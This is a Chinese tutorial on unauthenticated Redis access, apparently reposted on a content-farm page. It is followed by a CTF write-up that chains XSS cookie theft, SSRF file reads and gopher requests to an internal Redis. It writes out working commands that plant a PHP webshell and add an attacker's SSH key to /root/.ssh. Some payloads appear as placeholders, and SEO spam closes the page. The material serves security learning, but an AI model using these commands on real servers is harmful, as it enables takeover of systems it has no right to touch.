redis未授权访问介绍

---

redis是一种以key-value为键值对的非关系型数据库。

redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。

它通常被称为数据结构服务器，因为值（value）可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

安装服务

win

下载地址：https://github.com/MSOpenTech/redis/releases
测试环境：

操作系统：win7ip：192.168.107.144

命令行输入

redis-server.exe redis.conf

接着查看端口

6379端口（redis默认端口）已经打开

redis成功启动

ubuntu

安装

sudo apt-get update
sudo apt-get install redis-server

启动服务

redis-server

基本命令

连接redis

redis-cli.exe -h 192.168.107.144

查看键为x的值

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"

get所有key

redis 192.168.107.144:6379> keys *
1) "x"

删除所有键

redis 192.168.107.144:6379>flushall

漏洞利用

本机通过telnet命令主动去连接目标机

或者通过redis-cli.exe -h 192.168.107.144连接

连接成功

输入info获取相关信息

可以看到redis版本号等

利用方式

• 写入一句话webshell

• 写入ssh公钥

写入shell

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> s*e

成功写入目标机

写入ssh公钥

在本地生成一对密钥

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

接着将ssh公钥写入靶机

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> s*e     # 保存

再到本地去连接ssh

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

即可

CTF中的redis（XSS->SSRF&Gopher->Redis）

题目为

题目地址：https://hackme.inndy.tw/scoreboard/

xeeme

泄露

在robots.txt发现泄露源码

是加密了的config.php

xss打cookie

注册登陆后的界面

发邮件有验证

验证写个脚本即可

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>

然后过滤了一些东西

用img测试

Safe Exam Browser

Safe Exam Browser是一个安全的浏览器环境，用于安全地进行在线考试。该软件将任何计算机变成一个安全的工作站。它控制对任何实用工具的访问，并防止学生使用未经授权的资源。

7 查看详情

onload也过滤了

这里注意到一个细节，过滤的是空格加上onerror，猜想是匹配到有空格的onerror才会过滤，于是构造没有空格的onerror，尝试payload

@@##@@

然后打cookie,成功打到cookie

将SESSION解码

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

xssrf leak

根据上一题的cookie,FLAG_2=IN_THE_REDIS

还是一样的环境

因为拿到了管理员的cookie，于是登陆一下

需要本地登陆，尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题，可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到，于是换了一个平台

利用payload

@@##@@

发现innerhtml被过滤

于是html编码

@@##@@

发现收到请求

解个码，放在本地

SSRF读取config.php

猜测send request功能存在ssrf

@@##@@

vps收到请求

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>

post请求的url参数

尝试读文件

@@##@@

成功读到/etc/passwd

于是读之前的config.php

xssrf redis（ssrf+gopher拿下flag）

根据flag的提示，redis的端口是25566
请求redis配合gopher

@@##@@

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

去读

既然有flag键，那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

是list，返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

原文地址：https://xz.aliyun.com/t/4051

更多redis知识请关注redis入门教程栏目。

以上就是redis未授权访问介绍的详细内容，更多请关注其它相关文章！

# 下载地址  # 建设厅网站制作  # 海外推广方案网站大全  # 建设黄页网站大全  # 短视频网红食品营销推广  # 学校专业建设备案网站  # 赤峰网站建设咨询公司招聘  # 南阳网站推广的方法  # 网站建设运营定制  # 盛大网站建设海报  # 达人如何做营销推广赚钱  # redis  # 放在  # 是一种  # 几个  # 的是  # 如何实现  # 网络带宽  # 换了  # 是一个  # 公钥 

相关栏目： 【 Google疑问12 】 【 Facebook疑问10 】 【 优化推广96088 】 【 技术知识133117 】 【 IDC资讯59369 】 【 网络运营7196 】 【 IT资讯61894 】

相关推荐： 优化Asyncio嵌套函数调度：使用生产者-消费者模式实现并发流处理  163邮箱在线登录 163邮箱网页版在线入口  抖音号怎么解除企业认证改成个人？改成个人有影响吗？  《东方财富》条件单关闭方法  夸克浏览器资源嗅探怎么用 夸克浏览器网页资源下载技巧【教程】  《七读免费小说》开通会员方法  免费占卜在线神算_免费占卜手机神算  WPS长文档分栏排版不乱方法_WPS分栏+分节符报纸排版教程  抖音官网入口快速访问 抖音网页版账号注册解析  键盘测试软件哪个好_键盘故障检测工具推荐  漫蛙漫画官方版直通入口 2025漫蛙漫画免注册访问说明  Linux如何自动分析系统异常日志_Linux日志智能检测  GBA模拟器手柄按键设置  CSS动画如何实现图标旋转并放大_transform rotate scale @keyframes实现  抖音号显示企业机构号是什么意思？企业机构号申请条件是什么？  React应用中Commerce.js数据加载与状态管理最佳实践  创客贴登录页面入口 创客贴网页版最新网址链接  斯宾塞称XGP云游戏“蒸蒸日上”：正在构建一个游戏从未如此唾手可得的未来  抖音团长模式怎么做?团长模式是什么意思？  优酷下载视频的清晰度怎么选_优酷缓存清晰度设置与选择指南  J*aScript类型数组_TypedArray使用  热血江湖归来医师加点攻略  知音漫客官网首页入口_知音漫客热门漫画推荐  QQ邮箱PC端登录页面_QQ邮箱网页版登录界面  使用 .htaccess 正确配置 WordPress 子目录重定向与路径保留  京东物流快递破损了怎么办_京东快递破损理赔流程  深入理解J*aScript异步操作：setTimeout与调用栈的真相  《荔枝fm》导出文件教程  word页码灰色不能用如何解决  使用VS Code作为你的个人知识管理系统  《全民k歌》网页版最新登录入口一览  火狐浏览器如何刷新修复浏览器 火狐浏览器“重置Firefox”功能详解  sublime如何配置PHP开发环境_在sublime中运行与调试PHP代码  风车动漫官网首页入口登录 风车动漫在线观看正版地址  J*aScript：从子元素中批量移除特定CSS类  AO3中文入口稳定分享_AO3官网HTTPS看文详解  苹果如何下载nanobanana  发博客与长微博技巧  SQL聚合查询、联接与筛选：GROUP BY 子句的正确使用与常见陷阱  Linux如何优化系统启动流程_Linux启动项优化方案  C++ cast类型转换总结_C++ reinterpret_cast与const_cast的使用  《edge浏览器》关闭翻译功能方法  《随手记》关闭首页消息推送方法  在J*a里什么是行为抽象_抽象行为对代码复用的提升作用  告别阻塞等待：如何使用GuzzlePromises优雅处理PHP异步操作，提升应用响应速度  口腔诊所管理软件推荐  批改网官网首页登录 批改网学生用户登录入口  如何使用 Optional 类型并满足 Pylint 的类型检查  手机耗电快是什么原因 延长手机电池续航时间的设置方法【详解】  Win10关闭UAC用户账户控制的方法 Win10降低安全提示等级【技巧】 

 2020-05-14